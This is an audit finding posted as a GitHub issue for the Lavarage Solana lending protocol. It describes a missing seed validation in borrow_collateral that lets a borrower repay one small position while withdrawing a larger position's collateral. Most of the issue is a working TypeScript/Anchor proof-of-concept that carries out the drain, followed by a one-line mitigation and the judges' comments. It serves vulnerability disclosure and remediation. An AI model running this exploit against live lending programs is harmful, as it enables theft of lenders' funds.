code-423n4 / 2024-04-lavarage-findings

2 stars 2 forks source link

The borrower can steal all SOL from the lender by paying almost nothing as a collateral #13

Closed c4-bot-1 closed 4 months ago

c4-bot-1 commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/main/libs/smart-contracts/programs/lavarage/src/processor/swapback.rs#L43-L63

Vulnerability details

Impact

Due to the lack of seed validation on borrow_collateral function, the borrower can steal all SOL from the lender by paying almost nothing as a collateral. This can be done as follows:

  1. The borrower opens two positions.
  2. Pos#1 is a small one. So, the borrowed and the collateral amounts are small.
  3. Pos#2 is a big one. So, the borrowed and the collateral amounts are big.
  4. The borrower repays Pos#1.borrowed (small amount) while withdrawing Pos#2.collateral (big amount)
  5. Thus, the protocol now has Pos#2.borrowed (not backed by any collateral), and Pos#1.collateral not withdrawn.
  6. The borrower got away with Pos#1.borrowed and Pos#2.collateral amounts.

Check the PoC below, It demonstrates how a thief could perform the scenario above.

Note: this is different from the other issue reported (completly different root cause and slightly different impact)

Proof of Concept

import * as anchor from '@coral-xyz/anchor';
import {
  Keypair,
  PublicKey,
  Signer,
  SystemProgram,
  SYSVAR_CLOCK_PUBKEY,
  SYSVAR_INSTRUCTIONS_PUBKEY,
  Transaction,
} from '@solana/web3.js';
import { Lavarage } from '../target/types/lavarage';

import {
  createMint,
  createTransferCheckedInstruction,
  getAccount,
  getOrCreateAssociatedTokenAccount,
  mintTo,
  TOKEN_PROGRAM_ID,
} from '@solana/spl-token';
import { web3 } from '@coral-xyz/anchor';
export function getPDA(programId, seed) {
  const seedsBuffer = Array.isArray(seed) ? seed : [seed];

  return web3.PublicKey.findProgramAddressSync(seedsBuffer, programId)[0];
}
describe('lavarage', () => {
  anchor.setProvider(anchor.AnchorProvider.env());
  const program: anchor.Program<Lavarage> = anchor.workspace.Lavarage;
  const nodeWallet = anchor.web3.Keypair.generate();
  const anotherPerson = anchor.web3.Keypair.generate();
  const seed = anchor.web3.Keypair.generate();
  // TEST ONLY!!! DO NOT USE!!!
  const oracleKeyPair = anchor.web3.Keypair.fromSecretKey(
    Uint8Array.from([
      70, 207, 196, 18, 254, 123, 0, 205, 199, 137, 184, 9, 156, 224, 62, 74,
      209, 0, 80, 73, 146, 151, 175, 68, 182, 180, 53, 91, 214, 7, 167, 209,
      140, 140, 158, 10, 59, 141, 76, 114, 109, 208, 44, 110, 77, 64, 149, 121,
      7, 226, 125, 0, 105, 29, 76, 131, 99, 95, 123, 206, 81, 5, 198, 140,
    ]),
  );
  let tokenMint;
  let userTokenAccount;

  let tokenMint2;
  let userTokenAccount2;

  const provider = anchor.getProvider();

  async function mintMockTokens(
    people: Signer,
    provider: anchor.Provider,
    amount: number,
  ): Promise<any> {
    const connection = provider.connection;

    const signature = await connection.requestAirdrop(
      people.publicKey,
      2000000000,
    );
    await connection.confirmTransaction(signature, 'confirmed');

    // Create a new mint
    const mint = await createMint(
      connection,
      people,
      people.publicKey,
      null,
      9, // Assuming a decimal place of 9
    );

    // Get or create an associated token account for the recipient
    const recipientTokenAccount = await getOrCreateAssociatedTokenAccount(
      connection,
      people,
      mint,
      provider.publicKey,
    );

    // Mint new tokens to the recipient's token account
    await mintTo(
      connection,
      people,
      mint,
      recipientTokenAccount.address,
      people,
      amount,
    );

    return {
      mint,
      recipientTokenAccount,
    };
  }

  // Setup phase
  it('Should mint new token!', async () => {
    const { mint, recipientTokenAccount } = await mintMockTokens(
      anotherPerson,
      provider,
      200000000000000000,
      // 200000000000,
    );
    tokenMint = mint;
    userTokenAccount = recipientTokenAccount;
  }, 20000);

  it('Should create lpOperator node wallet', async () => {
    await program.methods
      .lpOperatorCreateNodeWallet()
      .accounts({
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        operator: program.provider.publicKey,
      })
      .signers([nodeWallet])
      .rpc();
  });

  it('Should create trading pool', async () => {
    const tradingPool = getPDA(program.programId, [
      Buffer.from('trading_pool'),
      provider.publicKey.toBuffer(),
      tokenMint.toBuffer(),
    ]);
    await program.methods
      .lpOperatorCreateTradingPool(50)
      .accounts({
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        operator: program.provider.publicKey,
        tradingPool,
        mint: tokenMint,
      })
      .rpc();
  });

  it('Should fund node wallet', async () => {
    await program.methods
      .lpOperatorFundNodeWallet(new anchor.BN(500000000000))
      .accounts({
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        funder: program.provider.publicKey,
      })
      .rpc();
  });

  it('Should set maxBorrow', async () => {
    const tradingPool = getPDA(program.programId, [
      Buffer.from('trading_pool'),
      provider.publicKey.toBuffer(),
      tokenMint.toBuffer(),
    ]);
    // X lamports per 1 Token
    await program.methods
      .lpOperatorUpdateMaxBorrow(new anchor.BN(50))
      .accountsStrict({
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        operator: provider.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
      })
      .rpc();
  });

  // repay
  it('Hacker can steal funds from lenders', async () => {
    //
    const seed = Keypair.generate();
    const seed2 = Keypair.generate();

    const tradingPool = getPDA(program.programId, [
      Buffer.from('trading_pool'),
      provider.publicKey.toBuffer(),
      tokenMint.toBuffer(),
    ]);
    // create ATA for position account
    const positionAccount = getPDA(program.programId, [
      Buffer.from('position'),
      provider.publicKey?.toBuffer(),
      tradingPool.toBuffer(),
      // unique identifier for the position
      seed.publicKey.toBuffer(),
    ]);
    const positionATA = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      anotherPerson,
      tokenMint,
      positionAccount,
      true,
    );

    // create ATA for position account 2
    const positionAccount2 = getPDA(program.programId, [
      Buffer.from('position'),
      provider.publicKey?.toBuffer(),
      tradingPool.toBuffer(),
      // unique identifier for the position
      seed2.publicKey.toBuffer(),
    ]);
    const positionATA2 = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      anotherPerson,
      tokenMint,
      positionAccount2,
      true,
    );

    // actual borrow
    const borrowIx = await program.methods
      .tradingOpenBorrow(new anchor.BN(10), new anchor.BN(5))
      .accountsStrict({
        positionAccount,
        trader: provider.publicKey,
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        randomAccountAsId: seed.publicKey,
        // frontend fee receiver. could be any address. opening fee 0.5%
        feeReceipient: anotherPerson.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: anchor.web3.SYSVAR_CLOCK_PUBKEY,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
      })
      .instruction();
    const transferIx = createTransferCheckedInstruction(
      userTokenAccount.address,
      tokenMint,
      positionATA.address,
      provider.publicKey,
      100000000,
      9,
    );
    // the param in this method is deprecated. should be removed.
    const addCollateralIx = await program.methods
      .tradingOpenAddCollateral()
      .accountsStrict({
        positionAccount,
        tradingPool,
        systemProgram: anchor.web3.SystemProgram.programId,
        trader: provider.publicKey,
        randomAccountAsId: seed.publicKey,
        mint: tokenMint,
        toTokenAccount: positionATA.address,
      })
      .instruction();

    // actual borrow 2
    const borrowIx2 = await program.methods
    .tradingOpenBorrow(new anchor.BN(10000000000), new anchor.BN(5000000000))
    .accountsStrict({
      positionAccount: positionAccount2,
      trader: provider.publicKey,
      tradingPool,
      nodeWallet: nodeWallet.publicKey,
      randomAccountAsId: seed2.publicKey,
      // frontend fee receiver. could be any address. opening fee 0.5%
      feeReceipient: anotherPerson.publicKey,
      systemProgram: anchor.web3.SystemProgram.programId,
      clock: anchor.web3.SYSVAR_CLOCK_PUBKEY,
      instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
    })
    .instruction();
    const transferIx2 = createTransferCheckedInstruction(
    userTokenAccount.address,
    tokenMint,
    positionATA2.address,
    provider.publicKey,
    100000000000000000,
    9,
    );
    // the param in this method is deprecated. should be removed.
    const addCollateralIx2 = await program.methods
    .tradingOpenAddCollateral()
    .accountsStrict({
      positionAccount: positionAccount2,
      tradingPool,
      systemProgram: anchor.web3.SystemProgram.programId,
      trader: provider.publicKey,
      randomAccountAsId: seed2.publicKey,
      mint: tokenMint,
      toTokenAccount: positionATA2.address,
    })
    .instruction();

    let tokenAccount = await getAccount(
      provider.connection,
      positionATA.address,
    );

    let tokenAccount2 = await getAccount(
      provider.connection,
      positionATA2.address,
    );

    let userTokenAcc = await getAccount(
      provider.connection,
      userTokenAccount.address,
    );

    console.log("===== Initial Amounts======");

    console.log("Pos#1.collaterel     : ", tokenAccount.amount);
    console.log("Pos#2.collaterel     : ", tokenAccount2.amount);
    console.log("Borrower Collaterel  : ", userTokenAcc.amount);

    console.log("Node Sol             : ", await provider.connection.getBalance(nodeWallet.publicKey));
    console.log("Borrower Sol         : ", await provider.connection.getBalance(provider.publicKey));

    const tx_borrow = new Transaction()
    .add(borrowIx)
    .add(transferIx)
    .add(addCollateralIx);

    const tx_borrow_2 = new Transaction()
    .add(borrowIx2)
    .add(transferIx2)
    .add(addCollateralIx2);

    await provider.sendAll([{ tx: tx_borrow_2 }]);

    await provider.sendAll([{ tx: tx_borrow }]);

    console.log("===== After Borrow #1 and #2======");

    tokenAccount = await getAccount(
      provider.connection,
      positionATA.address,
    );

    tokenAccount2 = await getAccount(
      provider.connection,
      positionATA2.address,
    );

     userTokenAcc = await getAccount(
      provider.connection,
      userTokenAccount.address,
    );

    const tokenAccount_amount = tokenAccount.amount;
    const userTokenAcc_amount = userTokenAcc.amount;
    console.log("Pos#1.collaterel    : ", tokenAccount_amount);
    console.log("Pos#2.collaterel    : ", tokenAccount2.amount);
    console.log("Borrower Collaterel : ", userTokenAcc_amount);

    const node_balance = await provider.connection.getBalance(nodeWallet.publicKey);
    const user_balance = await provider.connection.getBalance(provider.publicKey);
    console.log("Node Sol            : ", node_balance);
    console.log("Borrower Sol        : ", user_balance);

    const receiveCollateralIx = await program.methods
    .tradingCloseBorrowCollateral()
    .accountsStrict({
      positionAccount: positionAccount2, // this for the attack
      trader: provider.publicKey,
      tradingPool,
      instructions: SYSVAR_INSTRUCTIONS_PUBKEY,
      systemProgram: anchor.web3.SystemProgram.programId,
      clock: SYSVAR_CLOCK_PUBKEY,
      randomAccountAsId: seed2.publicKey, // and this for the attack
      mint: tokenMint,
      toTokenAccount: userTokenAccount.address,
      fromTokenAccount: positionATA2.address,
      tokenProgram: TOKEN_PROGRAM_ID,
    })
    .instruction();
  const repaySOLIx = await program.methods
    // .tradingCloseRepaySol(new anchor.BN(20000), new anchor.BN(9998))
    .tradingCloseRepaySol(new anchor.BN(0), new anchor.BN(9998))
    .accountsStrict({
      positionAccount: positionAccount,
      trader: provider.publicKey,
      tradingPool,
      nodeWallet: nodeWallet.publicKey,
      systemProgram: anchor.web3.SystemProgram.programId,
      clock: SYSVAR_CLOCK_PUBKEY,
      randomAccountAsId: seed.publicKey,
      feeReceipient: anotherPerson.publicKey,
    })
    .instruction();

    const tx_repay = new Transaction()
    .add(receiveCollateralIx)
    .add(repaySOLIx);

    console.log(">>===== Now, repay Pos#1 and withdraw collateral of Pos#2 ======>>");

    await provider.sendAll([{ tx: tx_repay }]);

    console.log("===== After Successful Repay ======");

    tokenAccount = await getAccount(
      provider.connection,
      positionATA.address,
    );

    tokenAccount2 = await getAccount(
      provider.connection,
      positionATA2.address,
    );

     userTokenAcc = await getAccount(
      provider.connection,
      userTokenAccount.address,
    );
    const tokenAccount_amount2 = tokenAccount.amount;
    const userTokenAcc_amount2 = userTokenAcc.amount;
    console.log("Pos#1.collaterel     : ", tokenAccount_amount2);
    console.log("Pos#2.collaterel     : ", tokenAccount2.amount);
    console.log("Borrower Collaterel  : ", userTokenAcc_amount2);

    const node_balance2 = await provider.connection.getBalance(nodeWallet.publicKey);
    const user_balance2 = await provider.connection.getBalance(provider.publicKey);
    console.log("Node Sol             : ", node_balance2);
    console.log("Borrower Sol         : ", user_balance2);

  });

});

Tools Used

Manual analysis

Recommended Mitigation Steps

Add this to borrow_collateral function to validate the seed

require_keys_eq!(
    ix.accounts[6].pubkey,
    ctx.accounts.position_account.seed.key(),
    FlashFillError::IncorrectProgramAuthority
    );

After adding this mitigation, if you run the attack above, it will fail.

Assessed type

Invalid Validation

c4-judge commented 4 months ago

alcueca marked the issue as duplicate of #4

c4-judge commented 4 months ago

alcueca marked the issue as not a duplicate

c4-judge commented 4 months ago

alcueca marked the issue as duplicate of #26

c4-judge commented 4 months ago

alcueca marked the issue as satisfactory